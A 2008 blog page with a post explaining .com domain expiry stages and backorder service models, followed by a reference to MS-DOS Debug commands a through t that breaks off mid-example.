Saturday, October 25, 2008

Backordering Domains

Five backorder models targeting different stages of the deletion cycle are currently in play, each of which has its own strengths and weaknesses. Three of them are more likely to survive in the medium-term. However, in the long-term, it is very likely that one of these models would dominate the market. The dominant model that emerges depends on the success of coordination efforts between registrars, fee structure, and customer awareness of such services.

Thus, to increase the chances of acquiring an expired domain name, we recommend subscribing to multiple complimentary services simultaneously, or to the one-stop integrated model developed by DomainMart.

What is backorder?

Backorder is a service that attempts to register an expired domain name on behalf of an entity before someone else grabs it. Over 750,000 domains expire every month!

It should be noted that not all expired domain names can be backordered, as the registrant might renew them before being deleted by the registrars or they might be on HOLD status pending a settlement of a trademark dispute.

Domain Name Expiration and Backorder Process.

Domain names are registered for a specific time period, typically between 1 to 10 [1] years and can be renewed at any time for a maximum of 10 years. If the registrant or the administrative contact does not renew a domain name, it expires. And that when the action to grab it starts.Registries have adopted different procedures to handle expiring domain names. I will concentrate on the .com, the dominant global extension, currently controlled by VeriSign.Domain name deletions follow the stages below:
Stage 1. Domain name registration expires.
Registrar places it under the REGISTRAR-HOLD status, whereby the domain cannot be modified or deleted, but can be renewed. This grace period varies by registrar, but usually lasts from 30 to 45 days. However, the domain will be deleted from the zone files, so the associated Website and e-mail access will stop.

The registrar must remove REGISTRAR-HOLD status to modify the domain.

Stage 2. Registrar deletes a domain name.
Stage 3. Registry modified the domain name status to REDEMPTIONPERIOD, whereby the domain cannot be modified or purged; it can only be restored. Any other registrar requests to modify or otherwise update the domain will be rejected. The domain will be held in this status for a maximum of 30 calendar days (registry grace period) during which if the registrant would like to redeem it, they need to:
  • Call their registrar.
  • The registrar will "restore" the domain name for a fee determined by registrar, typically US$150-250.
  • This places the domain on PENDINGRESTORE status for 7 days (and places the domain name back in the zone file), so email and Website access are restored.
  • The registrar must then submit a restore report to the Registry.
  • Once the Restore Command and Restore Report process is completed, the name goes back on ACTIVE status.
Stage 4. If at the end of the registry grace period the name is still in REDEMPTIONPERIOD status, the domain name will be moved to PENDINGDELETE status for 5 days.
  • When in this status, the domain name will be deleted.
  • The registrar or the Registry cannot remove the status.

Stage 5. On the 6th day, the name is then deleted from the Registry.VeriSign currently releases all their expired domain names in batches each morning at 6:30, hence the term he 6.30 AM domain name goldrush.� Registrars know these names up to five days in advance and some have passed the information to speculators. This batch release system is unique to VeriSign. Other registrars delete their names in real-time, not more than 45 days after the domain's original expiry date. These names are then immediately available for anyone to register.

Backorder Models:

Model 1. Service By Individual Registrars

Some registrars are providing backorder services by not deleting the domain name at Stage 2, but assigning it to a party that has paid them a fee to backorder it. GoDaddy.com and eNom have adopted this model.

Model 2. Service Through Coordinated Registrars
SnapNames has adopted a second approach by acting as a single backorder application point for multi-registrars. Thus, by submitting a request through SnapNames Website, SnapNames works with the registrar of the domain name before the registrar deletes it, i.e., before Stage 2.

However, SnapNames is at a disadvantage for backordering domain names that are registered through registrars that have adopted Model 1 and not participating in the coordinated approach. If the registrar does not have its own backorder service and is not a partner of SnapNames, downstream Models 3 or 4 can capture the domain name.

Registrars that have partnered with SnapNames include Network Solutions and DomainIt.

Model 3. Service Through the Registry

VeriSign controls the .com registry and can guarantee that any domain name deleted at stage 2 is redistributed to a party subscribed to their widely anticipated launch of Waiting List Service (WLS).

WLS is provided through any ICANN accredited registrar that wishes to participate in it. This approach has two main differences from the coordinated registrar model.First, it is only offered through registrars who then can choose to offer it to their customers and second, only the registry has control over domain names in Stage 3. If there are no backorder requests for a domain name made through WLS, the domain name advances to Stage 4, after which services providing Automated Registration Software can grab it.

Model 4. Automated Registration Software

To capture expired domains, this model is based on the premise that the domain name is deleted from the registry at Stage 6. Thus, to acquire the domain name, the interested entity sends electronic requests to register a domain name through an ICANN accredited registrar. However, since a large number of parties would be interested in the same quality domains, it becomes a race for registering it first.

Proprietary automatic registration software is deployed that can place hundreds of requests for the same domain name in seconds. The resulting excessive registration requests through few registrars led VeriSign to cap each ICANN registrar to 256K bandwidth or 250 simultaneous RRPs. It was rumored that some registrars had attempted 1500 registrations for a single name in one second!

Model 5. Multi-model Strategy

To increase and guarantee that an expired domain names is registered before it is returned to the public pool of available names, one needs to subscribe to providers of service under Models 1, 2, 4 and 3 - when it becomes available, as each of these models has its own crack holes.

Model 1 is most viable for domain names registered through individual registrars that are not participants in the coordinated registrar pool in Model 2. Conversely, the coordinated registrar approach has an advantage over non-participating registrars for domain names registered through them, as they would not let it proceed to Stage 2. However, they have no control over deletions of domain names originally registered through others. Nevertheless, the success of Models 1 and 2 assume that a customer has placed a backorder request either through SnapNames or through a registrar providing the service for names registered through them. If not, then Model 3 becomes viable. However, with the introduction of WLS, backorder customers can go directly to VeriSign to bypass the registrars who would delete expiring domain names registered through them for which they had no backorder requests. Hence, the potential dominance of WLS depends on fee structure, ability of the major registrars to agree on and coordinate sharing of a centralized Website, and customers� awareness of the different programs.

Some major registrars do not yet provide backorder services through their Website.

Multi-model strategy is provided by DomainMart.

Fees and Allocation Mechanism

Two pricing and allocation models have emerged. The first uses a fixed-price with domain name allocated on a first-backorder-first-serviced basis. Others have adopted more lucrative and fair auction mechanisms, whereby the highest bidder is awarded the domain name at the bid price (an English auction) [2] . The fixed-price model providers typically charge an upfront fee and allow a customer to backorder three alternative domain names in the event the client first choice is not secured on their behalf. On the other hand, under the auction model, a customer gets charged only if the domain name is registered on their behalf.

SnapNames charges a minim fee of $60, if only one entity requests the domain name. For multiple backorders on the same domain name, a short auction is setup. Such backorder customers are notified by email of the auction setup.

DomainMart charges the same minimum fee for simultaneously using multiple service providers under Models 1, 2 and 4. DomainMart provides additional services including appraisal of value and advise on a bidding strategy for an additional $25 (total $85), while charging $50 for the bundle of valuation and bidding advice.


[1] Network Solutions has introduced a 100-year registration service. The service implicitly relies on Network Solutions ensuring 10 consecutive 10-year renewals. The success of the program is still sketchy.

[2] Pool.com has adopted an inefficient and not necessarily revenue maximizing two-stage auction. A sealed-bid auction followed by an English auction for the top 10 bidders in the previous auction!

Friday, October 24, 2008

Debug commands

Command

Description

?

Displays a list of the Debug commands.

a

Assembles 8086/8087/8088 mnemonics.

c

Compares two portions of memory.

d

Displays the contents of a portion of memory.

e

Enters data into memory starting at a specified address.

f

Fills a range of memory with specified values.

g

Runs the executable file that is in memory.

h

Performs hexadecimal arithmetic.

i

Displays one byte value from a specified port.

l

Loads the contents of a file or disk sectors into memory.

m

Copies the contents of a block of memory.

n

Specifies a file for an l or w command, or specifies the parameters for the file you are testing.

o

Sends one byte value to an output port.

p

Executes a loop, a repeated string instruction, a software interrupt, or a subroutine.

q

Stops the Debug session.

r

Displays or alters the contents of one or more registers.

s

Searches a portion of memory for a specified pattern of one or more byte values.

t

Executes one instruction and then displays the contents of all registers, the status of all flags, and the decoded form of the instruction that Debug will execute next.

u

Disassembles bytes and displays the corresponding source statements.

w

Writes the file being tested to a disk.

xa

Allocates expanded memory.

xd

Deallocates expanded memory.

xm

Maps expanded memory pages.

xs

Displays the status of expanded memory.


Separating command parameters

All Debug commands accept parameters, except the q command. You can separate parameters with commas or spaces, but these separators are required only between two hexadecimal values. Therefore, the following commands are equivalent:

dcs:100 110
d cs:100 110
d,cs:100,110

Specifying valid address entries

An address parameter in a Debug command specifies a location in memory. Address is a two-part designation containing either an alphabetic segment register or a 4-digit segment address, plus an offset value. You can omit the segment register or segment address. The default segment for the a, g, l, t, u, and w commands is CS. The default segment for all other commands is DS. All numeric values are in hexadecimal format.

The following are valid addresses:

CS:0100
04BA:0100

The colon between the segment name and the offset value is required.

Specifying valid range entries

A range parameter in a Debug command specifies a range of memory. You can choose from two formats for range: a starting address and an ending address, or a starting address and the length (denoted by l) of the range.

For example, both of the following syntaxes specify a 16-byte range beginning at CS:100:

cs:100 10f
cs:100 l 10

Related Commands

The following commands are Debug commands:

a (Assemble)

p (Proceed)

c (Compare)

q (Quit)

d (Dump)

r (Register)

e (Enter)

s (Search)

f (Fill)

t (Trace)

g (Go)

u (Unassemble)

h (Hex)

w (Write)

i (Input)

xa (Allocate Expanded Memory)

l (Load)

xd (Deallocate Expanded Memory)

m (Move)

xm (Map Extended Memory Pages)

n (Name)

xs (Display Expanded Memory Status)

o (Output)

Debug: A (Assemble)

Assembles 8086/8087/8088 mnemonics directly into memory.

This command creates executable machine code from assembly-language statements. All numeric values are in hexadecimal format, and you must type them as 1 to 4 characters. You specify a prefix mnemonic in front of the operation code (opcode) to which it refers.

Syntax

a [address]

Parameters

address

Specifies the location where you type assembly-language mnemonics. You use hexadecimal values for address and type each value without the trailing "h" character. If you do not specify an address, a starts assembling where it last stopped.

Notes

Using mnemonics

The segment-override mnemonics are cs:, ds:, es:, and ss:. The mnemonic for the far return is retf. String-manipulation mnemonics must explicitly state the string size. For example, use movsw to move word strings (16 bits), and use movsb to move byte strings (8 bits).

Assembling jumps and calls

The assembler automatically assembles a short, near, or far jump or call, depending on byte displacement, to the destination address. You can override such a jump or call by using a near or far prefix, as the following example shows:

–a0100:0500

0100:0500 jmp 502 ; a 2-byte short jump
0100:0502 jmp near 505 ;a 3-byte near jump
0100:0505 jmp far 50a ; a 5-byte far jump
You can abbreviate the near prefix to ne.

Distinguishing word and byte memory locations

When an operand can refer to either a word memory location or a byte memory location, you must specify the data type with the prefix word ptr or the prefix byte ptr. Acceptable abbreviations are wo and by, respectively. The following example shows the two formats:

dec   wo [si]
neg byte ptr [128]

Specifying operands

Debug uses the common convention that an operand enclosed in brackets ([ ]) refers to a memory location. This is because Debug cannot otherwise differentiate between an immediate operand and an operand that is a memory location. The following example shows the two formats:

mov   ax,21       ; load AX with 21h
mov ax,[21] ; load AX with the
; contents of
; memory location 21h

Using pseudoinstructions

Two popular pseudoinstructions are available with the a command: the db opcode, which assembles byte values directly into memory, and the dw opcode, which assembles word values directly into memory. Following are examples of both pseudoinstructions:

db 1,2,3,4,"THIS IS AN EXAMPLE"
db 'THIS IS A QUOTATION MARK: "'
db "THIS IS A QUOTATION MARK: '"
dw 1000,2000,3000,"BACH"

Examples

The a command supports all forms of register-indirect commands, as the following example shows:

add bx,34[bp+2].[si-1]
pop [bp+di]
push [si]

All opcode synonyms are also supported, as the following example shows:

loopz 100
loope 100
ja 200
jnbe 200

For 8087 opcodes, you must specify the wait or fwait prefix, as the following example shows:

fwait fadd st,st(3)       ; this line assembles
; an fwait prefix

Related Commands

For information about entering data into specific bytes, see the Debug e (Enter) command.

For information about disassembling bytes, see the Debug u (Unassemble) command.

Debug: C (Compare)

Compares two portions of memory.

Syntax

c range address

Parameters

range

Specifies the starting and ending addresses, or the starting address and length, of the first area of memory you want to compare. For information about valid range values, see the debug command.

address

Specifies the starting address of the second area of memory you want to compare. For information about valid address values, see the debug command.

Note

If the range and address memory areas are identical, Debug displays nothing and returns directly to the Debug prompt. If there are differences, Debug displays them in the following format: address1 byte1 byte2 address2

Example

The following commands have the same effect:

c100,10f 300
c100l10 300

Each command compares the block of memory from 100h through 10Fh with the block of memory from 300h through 30Fh.

Debug responds to either of the previous commands with a display similar to the following (assuming DS = 197F):

197F:0100 4D E4 197F:0300
197F:0101 67 99 197F:0301
197F:0102 A3 27 197F:0302
197F:0103 35 F3 197F:0303
197F:0104 97 BD 197F:0304
197F:0105 04 35 197F:0305
197F:0107 76 71 197F:0307
197F:0108 E6 11 197F:0308
197F:0109 19 2C 197F:0309
197F:010A 80 0A 197F:030A
197F:010B 36 7F 197F:030B
197F:010C BE 22 197F:030C
197F:010D 83 93 197F:030D
197F:010E 49 77 197F:030E
197F:010F 4F 8A 197F:030F

Notice that the addresses 197F:0106 and 197F:0306 are missing from the list. This means that the values in those addresses are identical.

Debug: D (Dump)

Displays the contents of a range of memory addresses.

Syntax

d [range]

Parameter

range

Specifies the starting and ending addresses, or the starting address and length, of the memory area whose contents you want to display. For information about valid range values, see the debug command. If you do not specify range, Debug displays the contents of 128 bytes, starting at the end of the address range specified in the previous d command.

Note

When you use the d command, Debug displays memory contents in two portions: a hexadecimal portion (each byte value is shown in hexadecimal format) and an ASCII portion (each byte value is shown as an ASCII character). Each nonprinting character is denoted by a period (.) in the ASCII portion of the display. Each display line shows the contents of 16 bytes, with a hyphen between the eighth and ninth bytes. Each display line begins on a 16-byte boundary.

Examples

Suppose you type the following command:

dcs:100 10f

Debug displays the the contents of the range in the following format:

04BA:0100 54 4F 4D 00 53 41 57 59-45 52 00 00 00 00 00 00 TOM.SAWYER......

If you type the d command without parameters, Debug formats the display as described in the previous example. Each line of the display begins with an address that is 16 bytes greater than the address on the previous line (or 8 bytes if you have a 40-column screen).

For each subsequent d command you type without parameters, Debug displays the bytes immediately following those last displayed.

If you type the following command, Debug displays the contents of 20h bytes, starting at CS:100:

dcs:100 l 20

If you type the following command, Debug displays the contents of all bytes in the range of lines from 100h through 115h in the CS segment:

dcs:100 115

Related Commands

For information about displaying the contents of registers, see the Debug r (Register) command.

For information about disassembling bytes, see the Debag u (Unassemble) command.

Debug: E (Enter)

Enters data into memory at the address you specify.

You can type data in either hexadecimal or ASCII format. Any data previously stored at the specified address is lost.

Syntax

e address [list]

Parameters

address

Specifies the first memory location where you want to enter data.

list

Specifies the data you want to enter into successive bytes of memory.

Notes

Using the address parameter

If you specify a value for address without specifying a value for the optional list parameter, Debug displays the address and its contents, repeats the address on the next line, and waits for your input. At this point, you can perform one of the following actions:

  • Replace the byte value. To do this, you type a new value after the current value. If the value you type is not a valid hexadecimal value or if it contains more than two digits, Debug does not echo the invalid or extra character.

  • Advance to the next byte. To do this, you press the SPACEBAR. To change the value in that byte, type a new value after the current value. If you move beyond an 8-byte boundary when you press the SPACEBAR, Debug starts a new display line and displays the new address at the beginning of the line.

  • Return to the preceding byte. To do this, you press the HYPHEN key. You can press the HYPHEN key repeatedly to move back more than 1 byte. When you press HYPHEN, Debug starts a new line and displays the current address and byte value.

  • Stop the e command. To do this, you press the ENTER key. You can press ENTER at any byte position.

Using the list parameter

If you specify values for the list parameter, the e command sequentially replaces the existing byte values with the values from the list. If an error occurs, no byte values are changed.

List values can be either hexadecimal byte values or strings. You separate values by using a space, a comma, or a tab character. You must enclose strings within single or double quotation marks.

Examples

Suppose you type the following command:

ecs:100

Debug displays the contents of the first byte in the following format:

04BA:0100 EB._

To change this value to 41, type 41 at the cursor, as follows:

04BA:0100 EB.41_

You can type consecutive byte values with one e command. Instead of pressing ENTER after typing the new value, press the SPACEBAR. Debug displays the next value. In this example, if you press the SPACEBAR three times, Debug displays the following values:

04BA:0100 EB.41  10. 00. BC._

To change the hexadecimal value BC to 42, type 42 at the cursor, as follows:

04BA:0100 EB.41  10. 00. BC.42_

Now suppose that you decide the value 10 should be 6F. To correct this value, press the HYPHEN key twice to return to address 0101 (value 10). Debug displays the following:

04BA:0100 EB.41  10. 00. BC.42-
04BA:0102 00.-
04BA:0101 10._

Type 6f at the cursor to change the value, as follows:

04BA:0101  10.6f_

Press ENTER to stop the e command and return to the Debug prompt.

The following is an example of a string entry:

eds:100 "This is the text example"

This string will fill 24 bytes, starting at DS:100.

Related Commands

For information about assembling mnemonics, see the Debug a (Assemble) command.

For information about displaying the contents of a portion of memory, see the Debug d (Dump) command.

Debug: F (Fill)

Fills addresses in the specified memory area with values you specify.

You can specify data in either hexadecimal or ASCII format. Any data you previously stored at the specified address is lost.

Syntax

f range list

Parameters

range

Specifies the starting and ending addresses, or the starting address and length, of the memory area you want to fill. For information about valid range values, see the debug command.

list

Specifies the data you want to enter. List can consist of hexadecimal numbers or a string enclosed in quotation marks.

Notes

Using the range parameter

If range contains more bytes than the number of values in list, Debug assigns the values in list repeatedly until all bytes in range are filled.

If any of the memory in range is bad or doesn't exist, Debug displays an error message and stops the f command.

Using the list parameter

If list contains more values than the number of bytes in range, Debug ignores the extra values in list.

Example

Suppose you type the following command:

f04ba:100l100 42 45 52 54 41

In response, Debug fills memory locations 04BA:100 through 04BA:1FF with the values specified. Debug repeats the five values until all the 100h bytes are filled.

Debug: G (Go)

Runs the program currently in memory.

Syntax

g [=address] [breakpoints]

Parameters

= address

Specifies the address in the program currently in memory at which you want execution to begin. If you do not specify address, MS-DOS begins program execution at the current address in the CS:IP registers.

breakpoints

Specifies 1 to 10 temporary breakpoints that you can set as part of the g command.

Notes

Using the address parameter

You must precede the address parameter with an equal sign (=) to distinguish the starting address (address) from the breakpoint addresses (breakpoints).

Specifying breakpoints

The program stops at the first breakpoint it encounters, regardless of where you typed that breakpoint in the breakpoints list. Debug replaces the original instruction at each breakpoint with an interrupt code.

When the program reaches a breakpoint, Debug restores all breakpoint addresses to their original instructions and displays the contents of all registers, the status of all flags, and the decoded form of the last instruction executed. Debug displays the same information as it would display if you used the Debug r (register) command and specified the breakpoint address.

If you do not stop the program at one of the breakpoints, Debug does not replace the interrupt codes with the original instructions.

Limitations on setting breakpoints

You can set breakpoints only at addresses containing the first byte of an 8086 operation code (opcode). If you set more than 10 breakpoints, Debug displays the following message:

bp Error

Requirements for the user stack pointer

The user stack pointer must be valid and must have 6 bytes available for the g command. This command uses an iret instruction to jump to the program being tested. Debug sets the user stack pointer and pushes the user flags, the code segment register, and the instruction pointer onto the user stack. (If the user stack is not valid or is too small, the operating system might fail.) Debug places an interrupt code (0CCh) at the specified breakpoint address(es).

Restarting a program

Do not attempt to restart a program after MS-DOS displays the following message:

Program terminated normally

To run the program properly, you must reload it by using the Debug n (name) and l (load) commands.

Examples

Suppose you type the following command:

gcs:7550

MS-DOS runs the program currently in memory up to the breakpoint address 7550 in the CS segment. Debug then displays the contents of the registers and the status of the flags and stops the g command.

The following command sets two breakpoints:

gcs:7550, cs:8000

If you type the g command again after Debug encounters a breakpoint, execution begins at the instruction after the breakpoint, rather than at the usual starting address.

Related Commands

For information about executing a loop, a repeated string instruction, a software interrupt, or a subroutine, see the Debug p (Proceed) command.

For information about executing one instruction, see the Debug t (Trace) command.

Debug: H (Hex)

Performs hexadecimal arithmetic on two parameters you specify.

Syntax

h value1 value2

Parameters

value1

Represents any hexadecimal number in the range 0 through FFFFh.

value2

Represents a second hexadecimal number in the range 0 through FFFFh.

Note

Debug first adds the two parameters you specify and then subtracts the second parameter from the first. The results of these calculations are displayed on one line — first the sum, then the difference.

Example

Suppose you type the following command:

h19f 10a

Debug performs the calculations and displays the following result:

02A9 0095

Debug: I (Input)

Reads and displays one byte value from the port you specify.

Syntax

i port

Parameter

port

Specifies the input port by address. The address can be a 16-bit value.

Example

Suppose you type the following command:

i2f8

Suppose also that the byte value at the port is 42h. Debug reads the byte and then displays the value, as follows:

42

Related Command

For information about sending the value of a byte to an output port, see the Debug o (Output) command.

Debug: L (Load)

Loads a file or contents of specific disk sectors into memory.

To load the contents of the number of bytes specified in the BX:CX registers from a disk file, use the following syntax:

Syntax l [address]

To bypass the MS-DOS file system and directly load specific sectors, use the following syntax: l address drive start number

Parameters

address

Specifies the memory location where you want to load the file or the sector contents. If you do not specify address, Debug uses the current address in the CS register.

drive

Specifies the drive that contains the disk from which specific sectors are to be read. This value is numeric: 0 = A, 1 = B, 2 = C, and so on. You use the drive, start, and number parameters only if you want to load the contents of specific sectors rather than load the file specified on the debug command line or in the most recent Debug n (name) command.

start

Specifies the hexadecimal number of the first sector whose contents you want to load.

number

Specifies the hexadecimal number of consecutive sectors whose contents you want to load.

Notes

Using the l command without parameters

When you use the l command without parameters, the file you specified on the debug command line is loaded into memory, beginning at address CS:100. Debug also sets the BX and CX registers to the number of bytes loaded. If you did not specify a file on the debug command line, the file loaded is the one you most recently specified by using the n command.

Using the l command with the address parameter

If you use the l command with the address parameter, Debug begins loading the file or the contents of the specified sectors at the memory location address.

Using the l command with all parameters

If you use the l command with all parameters, Debug loads the contents of specific disk sectors instead of loading a file.

Loading the contents of specific sectors

Each sector in the range you specify is read from drive. Debug begins loading with start and continues until the contents of the number of sectors specified in number have been loaded.

Loading an .EXE file

Debug ignores the address parameter for .EXE files. If you specify an .EXE file, Debug relocates the file to the loading address specified in the header of the .EXE file. The header itself is stripped off the .EXE file before the file is loaded into memory, so the size of an .EXE file on disk differs from its size in memory. If you want to examine a complete .EXE file, rename the file with a different extension.

Opening a hex file

A hex file is a file that uses the Intel hexadecimal format, as described in The MS-DOS Encyclopedia. Debug assumes that files with the .HEX extension are hexadecimal-format files. You can type the l command with no parameters to load a hex file beginning at the address specified in the hex file. If the l command you type includes the address parameter, Debug adds the specified address to the address found in the hex file to determine the starting address.

Examples

Suppose you start Debug and type the following command:

nfile.com

You can now type the l command to load FILE.COM. Debug loads the file and displays the Debug prompt.

Suppose that you want to load the contents of 109 (6Dh) sectors from drive C, beginning with logical sector 15 (0Fh), into memory beginning at address 04BA:0100. To do this, type the following command:

l04ba:100 2 0f 6d

Related Commands

For information about specifying a file for the l command, see the Debug n (Name) command.

For information about writing the file being debugged to a disk, see the Debug w (Write) command.

Debug: M (Move)

Copies the contents of a block of memory to another block of memory.

Syntax

m range address

Parameters

range

Specifies the starting and ending addresses, or the starting address and the length, of the memory area whose contents you want to copy.

address

Specifies the starting address of the location to which you want to copy the contents of range.

Notes

Effects of the copy operation on existing data

If the addresses in the block being copied do not have new data written to them, the original data remains intact. However, if the destination block already contains data (as it might in an overlapping copy operation), that data is overwritten. (Overlapping copy operations are those in which part of the destination block overlaps part of the source block.)

Performing overlapping copy operations

The m command performs overlapping copy operations without losing data at the destination addresses. The contents of addresses that will be overwritten are copied first. Thus, if data is to be copied from higher addresses to lower addresses, the copy operation begins at the source block's lowest address and progresses toward the highest address. Conversely, if data is to be copied from lower addresses to higher addresses, the copy operation begins at the source block's highest address and progresses toward the lowest address.

Example

Suppose you type the following command:

mcs:100 110 cs:500

Debug first copies the contents of address CS:110 to CS:510, then copies the contents of CS:10F to CS:50F, and so on until it has copied the contents of CS:100 to CS:500. To view the results, you can use the Debug d (dump) command, specifying the destination address you used with the m command.

Debug: N (Name)

Specifies the name of an executable file for a Debug l (load) or w (write) command, or specifies parameters for the executable file being debugged.

Syntax

n [drive:][path]filename

To specify parameters for the executable file you are testing, use the following syntax:

n file-parameters

To clear the current specifications, use the following syntax:

n

Parameters

[ drive :][ path ] filename

Specifies the location and name of the executable file you want to test.

file-parameters

Specifies parameters and switches for the executable file you are testing.

Notes

The two uses of the n command

You can use the n command in two ways. First, you can use it to specify a file to be used by a later l or w command. If you start Debug without naming a file to be debugged, you must use the command nfilename before you can use the l command to load the file. The filename is correctly formatted for a file control block at CS:5C. Second, you can use the n command to specify command-line parameters and switches for the file being debugged.

Memory areas

Memory location

Contents

CS:5C

File control block (FCB) for file 1

CS:6C

File control block (FCB) for file 2

CS:80

Length of n command line (in characters)

CS:81

Beginning of n command-line characters

The first filename you specify for the n command is placed in a file control block (FCB) at CS:5C. If you specify a second filename, this name is placed in an FCB at CS:6C. The number of characters typed on the n command line (exclusive of the first character, n) is stored at location CS:80. The actual characters on the n command line (again, exclusive of the letter n) are stored beginning at CS:81. Note that these characters can be any switches and delimiters that would be legal in a command typed at the MS-DOS prompt.

Examples

Suppose you've started Debug and loaded the program PROG.COM for debugging. You subsequently decide to specify two parameters for PROG.COM and run the program. Following is the sequence of commands for this example:

    debug prog.com
nparam1 param2
g

In this case, the Debug g (go) command runs the program as if you had typed the following command at the MS-DOS prompt:

prog param1 param2

Testing and debugging therefore reflect a typical run-time environment for PROG.COM.

In the following sequence of commands, the first n command specifies FILE1.EXE as the file for the subsequent l command, which loads FILE1.EXE into memory. The second n command specifies the parameters to be used by FILE1.EXE. Finally, the g command runs FILE1.EXE as if you had typed file1 file2.dat file3.dat at the MS-DOS prompt.

nfile1.exe
l
nfile2.dat file3.dat
g

Note that you do not use the l command after the second form of the n command. Also note that if you now use the w command, MS-DOS saves FILE1.EXE, the file being debugged, with the name FILE2.DAT. To avoid this result, you should always use the first form of the n command immediately before either an l or a w command.

Related Commands

For information about loading the contents of a file or of specific disk sectors into memory, see the Debug l (Load) command.

For information about writing the file being debugged to a disk, see the Debug w (Write) command.

Debug: O (Output)

Sends the value of a byte to an output port.

Syntax

o port byte-value

Parameters

port

Specifies the output port by address. The port address can be a 16-bit value.

byte-value

Specifies the byte value you want to direct to port.

Example

To send the byte value 4Fh to the output port at address 2F8h, type the following command:

o2f8 4f

Related Command

For information about reading the value of a byte from an input port, see the Debug i (Input) command.

Debug: P (Proceed)

Executes a loop, a repeated string instruction, a software interrupt, or a subroutine; or traces through any other instruction.

Syntax

p [=address] [number]

Parameters

= address

Specifies the location of the first instruction to execute. If you do not specify an address, the default address is the current address specified in the CS:IP registers.

number

Specifies the number of instructions to execute before returning control to Debug. The default value is 1.

Notes

Transferring control to the program being tested

When the p command transfers control from Debug to the program being tested, that program runs without interruption until the loop, repeated string instruction, software interrupt, or subroutine at the specified address is completed, or until the specified number of machine instructions have been executed. Control then returns to Debug.

Limitations on the address parameter

If the address parameter does not specify a segment, Debug uses the CS register of the program being tested. If you omit address, the program is executed beginning at the address specified by its CS:IP registers. You must precede the address parameter with an equal sign (=) to distinguish it from the number parameter. If the instruction at the specified address is not a loop, a repeated string instruction, a software interrupt, or a subroutine, the p command works the same way as the Debug t (trace) command.

Messages displayed with the p command

After p executes an instruction, Debug displays the contents of the program's registers, the status of its flags, and the decoded form of the next instruction to be executed.

Caution: You cannot use the p command to trace through read-only memory (ROM).

Example

Suppose that the program you're testing contains a call instruction at address CS:143F. To run the subroutine that is the destination of call and then return control to Debug, type the following command:

p=143f

Debug displays the results in the following format:

AX=0000  BX=0000  CX=0000  DX=0000  SP=FFEE  BP=0000  SI=0000  DI=0000
DS=2246 ES=2246 SS=2246 CS=2246 IP=1443 NV UP EI PL NZ AC PO NC
2246:1442 7505 JNZ 144A

Related Commands

For information about running the program currently in memory, see the Debug g (Go) command.

For information about executing one instruction, see the Debug t (Trace) command.

Debug: Q (Quit)

Stops the Debug session without saving the file currently being tested.

After you type q, control returns to MS-DOS.

Syntax q

Example

To stop the debugging session, type the following command: q

MS-DOS displays the MS-DOS prompt.

Related Command

For information about saving a file, see the Debug w (Write) command.

Debug: R (Register)

Displays or alters the contents of one or more central-processing-unit (CPU) registers.

Syntax r [register-name]

To display the contents of all registers and flags in the register storage area, use the following syntax: r

Parameter

register-name

Specifies the name of the register whose contents you want to display.

Notes

Using the r command

If you specify a register name, MS-DOS displays the 16-bit value of that register in hexadecimal notation and displays a colon as the prompt. If you want to change the value contained in the register, type a new value and press ENTER; otherwise, just press ENTER to return to the Debug prompt.

Valid register names

The following are valid values for register-name: ax, bx, cx, dx, sp, bp, si, di, ds, es, ss, cs, ip, pc, and f. Both ip and pc refer to the instruction pointer.

If you specify a register name other than one from the preceding list, MS-DOS displays the following message:

br error

Using the f character instead of a register name

If you type the f character instead of a register name, Debug displays the current setting of each flag as a two-letter code and then displays the Debug prompt. To change the setting of a flag, type the appropriate two-letter code from the following table:

Flag name

Set

Clear

Overflow

ov

nv

Direction

dn (decrement)

up (increment)

Interrupt

ei (enabled)

di (disabled)

Sign

ng (negative)

pl (positive)

Zero

zr

nz

Auxiliary Carry

ac

na

Parity

pe (even)

po (odd)

Carry

cy

nc

You can type new flag values in any order. You need not leave spaces between these values. To stop the r command, press ENTER. Any flags for which you did not specify new values remain unchanged.

Messages displayed with the r command

If you specify more than one value for a flag, Debug displays the following message:

df error

If you specify a flag code not listed in the preceding table, Debug displays the following message:

bf error

In both cases, Debug ignores all settings specified after the invalid entry.

Default settings for Debug

When you start Debug, the segment registers are set to the bottom of free memory, the instruction pointer is set to 0100h, all flags are cleared, and the remaining registers are set to zero, except for sp, which is set to FFEEh.

Examples

To view the contents of all registers, the status of all flags, and the decoded form of the instruction at the current location, type the following command:

r

If the current location is CS:11A, the display will look similar to the following:

AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A NV UP DI NG NZ AC PE NC
04BA:011A CD21 INT 21

To view only the status of the flags, type the following command:

rf

Debug displays the information in the following format:

NV UP DI NG NZ AC PE NC - _

Now you can type one or more valid flag values, in any order, with or without spaces, as in the following command:

nv up di ng nz ac pe nc – pleicy

Debug stops the r command and displays the Debug prompt. To see the changes, type either the r or rf command. Debug then displays the following:

NV UP EI PL NZ AC PE CY - _

Press ENTER to return to the Debug prompt.

Related Commands

For information about displaying the contents of a portion of memory, see the Debug d (Dump) command.

For information about disassembling bytes, see the Debug u (Unassemble) command.

Debug: S (Search)

Searches a range of addresses for a pattern of one or more byte values.

Syntax

s range list

Parameters

range

Specifies the beginning and ending addresses of the range you want to search. For information about valid values for the range parameter, see the debug command.

list

Specifies the pattern of one or more byte values or a string you want to search for. Separate each byte value from the next with a space or a comma. Enclose string values in quotation marks.

Note

If the list parameter contains more than one byte value, Debug displays only the first address where the byte value occurs. If list contains only one byte value, Debug displays all addresses where the value occurs in the specified range.

Examples

Suppose you want to find all addresses in the range CS:100 through CS:110 that contain the value 41. To do this, type the following command:

scs:100 110 41

Debug displays the results in the following format:

04BA:0104
04BA:010D
-

The following command searches for the string "Ph" in the range CS:100 through CS:1A0:

scs:100 1a0 "Ph"

Debug: T (Trace)

Executes one instruction and displays the contents of all registers, the status of all flags, and the decoded form of the instruction executed.

Syntax t [=address] [number]

Parameters

= address

Specifies the address at which Debug is to start tracing instructions. If you omit the address parameter, tracing begins at the address specified by your program's CS:IP registers. For information about valid values for the address parameter, see the debug command.

number

Specifies the number of instructions to be traced. This value must be a hexadecimal number. The default value is 1.

Notes

Tracing instructions in read-only memory

The t command uses the hardware trace mode of the 8086 or 8088 microprocessor. Therefore, you can also trace instructions stored in read-only memory (ROM).

Using the address parameter

You must precede the address parameter with an equal sign (=) to distinguish it from the number parameter.

Example

To execute one instruction (pointed to by CS:IP), and then display the contents of the registers, the status of the flags, and the decoded form of the instruction, type the following command:

t

If the position of the instruction in the program were 04BA:011A, Debug might display the following information:

